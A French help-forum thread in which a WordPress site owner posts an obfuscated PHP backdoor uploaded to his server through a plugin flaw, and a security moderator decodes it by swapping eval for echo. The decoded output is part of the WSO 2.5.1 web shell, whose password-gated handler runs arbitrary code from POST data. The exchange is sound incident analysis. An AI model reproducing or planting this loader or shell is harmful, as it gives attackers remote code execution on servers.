Site web hacké: fonction php

Résolu/Fermé
4uRoN5 Messages postés 47 Date d'inscription mardi 30 mars 2010 Statut Membre Dernière intervention 20 décembre 2014 - Modifié par jordane45 le 20/12/2014 à 15:13
4uRoN5 Messages postés 47 Date d'inscription mardi 30 mars 2010 Statut Membre Dernière intervention 20 décembre 2014 - 20 déc. 2014 à 18:38
Bonjour,

J'ai un site sous wordpress qui utilisait une extension qui a permis à un hacker d'uploader des fichiers sur mon serveur et qu'il pouvait ensuite éxecuter un utilisant un post et des arguments.

Pouvez-vous me dire comment décoder ça pour que je vois ce qu'il a fait ?
Les 6 fichiers trouvés sont différents mais utilisent exactement les mêmes fonctions d'encodage.

Voici le contenu d'un des fichiers:
options.php

<?php
$v61DYZ4 = Array('1'=>'M', '0'=>'p', '3'=>'a', '2'=>'r', '5'=>'o', '4'=>'O', '7'=>'h', '6'=>'E', '9'=>'l', '8'=>'d', 'A'=>'t', 'C'=>'9', 'B'=>'s', 'E'=>'v', 'D'=>'A', 'G'=>'S', 'F'=>'f', 'I'=>'J', 'H'=>'K', 'K'
=>'u', 'J'=>'Z', 'M'=>'P', 'L'=>'C', 'O'=>'W', 'N'=>'Q', 'Q'=>'B', 'P'=>'D', 'S'=>'w', 'R'=>'4', 'U'=>'5', 'T'=>'I', 'W'=>'k', 'V'=>'Y', 'Y'=>'L', 'X'=>'q', 'Z'=>'2', 'a'=>'7', 'c'=>'6', 'b'=>'G', 'e'=>'H', 'd'
=>'1', 'g'=>'0', 'f'=>'X', 'i'=>'c', 'h'=>'j', 'k'=>'b', 'j'=>'V', 'm'=>'x', 'l'=>'8', 'o'=>'R', 'n'=>'T', 'q'=>'i', 'p'=>'3', 's'=>'z', 'r'=>'g', 'u'=>'F', 't'=>'n', 'w'=>'y', 'v'=>'e', 'y'=>'U', 'x'=>'m', 'z'
=>'N');
function v5TZ18M($vZZLFH4, $vRWZPZ4){$v2PRHCG = ''; for($i=0; $i < strlen($vZZLFH4); $i++){$v2PRHCG .= isset($vRWZPZ4[$vZZLFH4[$i]]) ? $vRWZPZ4[$vZZLFH4[$i]] : $vZZLFH4[$i];}
return base64_decode($v2PRHCG);}
$v5KCZWI = 'Ibud8b7FibusiwDCTLIq4n1p1P1Z1nWSznjxzP1SzPNUzn7W1PNm4nDdzxz71wTaLr5WVZCBk'.
'pTrMGDqTZoxzGTaLqoWJOJ78OmgfZuh8b9EkqDCTL8b3Om9igd7kqiaLq'.
'oWJOJ78OmgfpjsJjC73xuRTPgr8eIdJnBHIbo9JxudkeoFVZ77itz98LDCTL8'.
'f3OUWkp8sYn6wzn6t4S5HNb9K3jCsJfN5IZjwixCwfZmEJwiBn9j1nLWaLWQ0kx9FiZ'.
'jgHL8BkZ8FJfIwkpIsIwSSHnBHNb9K3jCsJfN5IZd7vuC9vbjh8fo0kZUF8b9AJGiB1'.
'LWaLWQsJfoF8b9AJjCB3Od08LrSHnBHNez98uCAVO80VdCm8OCgJfz'.
'FitjK8b9AJGrSHnBHNbo9Jx9KJGrtjdzMfdJuy9zIngRtYLDt1qRdYh6tHnBHLx9xHb89'.
'8uCAVO80VdCm8OCgJfzFJpQhHLW0TeBHTLDrTbJdkxzg3OCKTu8nnpzgix9SiZm7'.
'iZ79iwrWVfIwVfW0TeBHTLDrTLDrTLQwJfodixRr3fzFVfIwVf'.
'W5IbuwixuUHGD/TbuwixuUfZd7iLrtjdzMipow3fQskbus3bjsIwSrIbuwixuUHGDc'.
'Tezgix9SiZm7iZ79iwrWVfIwVfW04S5rTLDrFN5rTLDrIuCNndzyTPgr'.
'jdzMipow3fQskbus3bjsHLoFy6CnjLWaLqDrTLDWfgzMngAIoGDCTu8nnpzgix9SiZm7iZ79iwr'.
'WfgzMngAIoGWaLtgHLxJdkxzg3OCKTe8skgmEJZ9KHLWrvS5rTLDr3bj7JbjwHL8TjuoNYs6K1LDg1PNrn'.
'xCgT6JE8OUWIwWaLqDrTLQW3Oy5ThNSzLT04S0CLr0x8OUh8b9EkqQfygCs'.
'JfohkZC23Oy5IbBBTLoZHGQaLqDrTLDWfgzMngAIojBW3dgrMGDW8hBHTLDrTez98bzEkZA0'.
'JGrW3wSrIeV04S0CLr00Jqr7JOdS8eW5Ibud8b7FibusiwW0TeBHTLDrTb9xHb9s'.
'iZjgHLoFy6CnjuBtibusiw88HGDxIqD5kONdHLoFy6CnjuBtibusiw88HGDCMGDWVfjg3uCSVfzsHGWHTLDrTLDrTLQfyg'.
'CsJfohkZC23Oy5kONdHLoFygjGjWjGOw8TjuoNfg7MydNtfGWBTLo78fo5fpQ7ip104S5HTLDrTb9xT'.
'Lr73fzsJfN5IuCPngCYGyjkkONdHLoFygjGjWjGOw8TjuoNfg7MydNtfG98HGQlFLD5IuCPngCYGyjkkONdHLoFygjGjW'.
'jGOw8TjuoNfg7MydNtfG98TL6CTLo78fo5fpQ7ip10HN5rTLDrTLDrTe8skgmEJ'.
'Z9KHLWaLtgHLxJdkxzg3OCKTbuh8b9Ek9IPHLWrvS5rTLDr3OV5Ty'.
'DWfdQMydokIpDmIdg0TeBHTLDrTLDrTLDWVGDCTbuwixuUHD5rTLDrTLDrTLDrTLDq8OU7'.
'kOyqTPg+TeQ5iuCdkxuAJGr0YD5rTLDrTLDrTLDrTLDqib7SfpJ9itz0kZRqTPg+TeQ5ieJ9itz0kZR5HGSHTLDrTLDrT'.
'LDrTLDrTt8skdCZJfIs3OCKTqDCMqQfygCFjWjGyg9MnqSHTLDr'.
'TLDrTLDrTLDrTtz7JxjAkZo9TqDCMqQD3OU0fZ898LrtiZuxJjCAkZo9IwWHTLDrTLDrTLD04S5rTLDrTLDrTbjh3blriZjw'.
'3OuB3f09HLo7HnBHTLDrTegrJOmsJGQaLqDrTLDrTLDrJfJ7kLrWfdQMydokIpDmIdg04S5rTLDrFN0CL'.
'x9xHLQ9kfQgvGrWfdQMydokIZ6tfGWrHN5rTLDr3OV53fzsJfN5Ibo9JxudkeoFVOzg3OC'.
'KHGDxIqQx8OUh8b9Ek9C9vb9s8e15IZuh8b9EkqirYqDWJbjxVfjB8uC7Vpo0kZR0HN5rTLDrTLDrTLoFy6'.
'CnjuBtVG88TPgrIbo9JxudkeoFVOzg3OCK4S5rTLDrJOmsJN5rTL'.
'DrTLDrTLoFy6CnjuBtVG88TPgrIdz9Vg9KJxlt4S00JqrrTOjAieoUHLoFy6CnjuBtVG88HGDxIqQx8OUh8b9Ek9C9vb9'.
's8e15IZuh8b9EkqirYqDWfdQMydokIZ6tfGWrHN5rTLDrVZuBkuCdiZjwfZJdkx15IZuh8b9EkqirYqD'.
'WfdQMydokIZ6tfGWaLxjR3fNa';
eval(v5TZ18M($v5KCZWI, $v61DYZ4));?>


Merci pour votre aide !

A voir également:

3 réponses

Malekal_morte- Messages postés 180304 Date d'inscription mercredi 17 mai 2006 Statut Modérateur, Contributeur sécurité Dernière intervention 15 décembre 2020 24 628
Modifié par jordane45 le 20/12/2014 à 16:22
Il faut que tu remplaces à la fin le eval par un echo pour obtenir le code généré,

c'est une backdoor PHP qui permet d'executer le code envoyé en paramètre (avec un mot de passe).
Truc plutôt classique.

php bla.php
$auth_pass = "b93703619055f43044958d0419056ca3";

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    header('HTTP/1.0 404 Not Found');
    die("404");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);


Like the angel you are, you laugh creating a lightness in my chest,
Your eyes they penetrate me,
(Your answer's always 'maybe')
That's when I got up and left
1
Malekal_morte- Messages postés 180304 Date d'inscription mercredi 17 mai 2006 Statut Modérateur, Contributeur sécurité Dernière intervention 15 décembre 2020 24 628
20 déc. 2014 à 15:05
Salut

pas chez moi mais intéressant je regarderai ce soit.

--
0
4uRoN5 Messages postés 47 Date d'inscription mardi 30 mars 2010 Statut Membre Dernière intervention 20 décembre 2014 2
Modifié par 4uRoN5 le 20/12/2014 à 18:39
En effet comme la souligné Malekal_morte- il suffit de remplacer le eval par un echo, aussi simple que ça.

Merci à toi !
0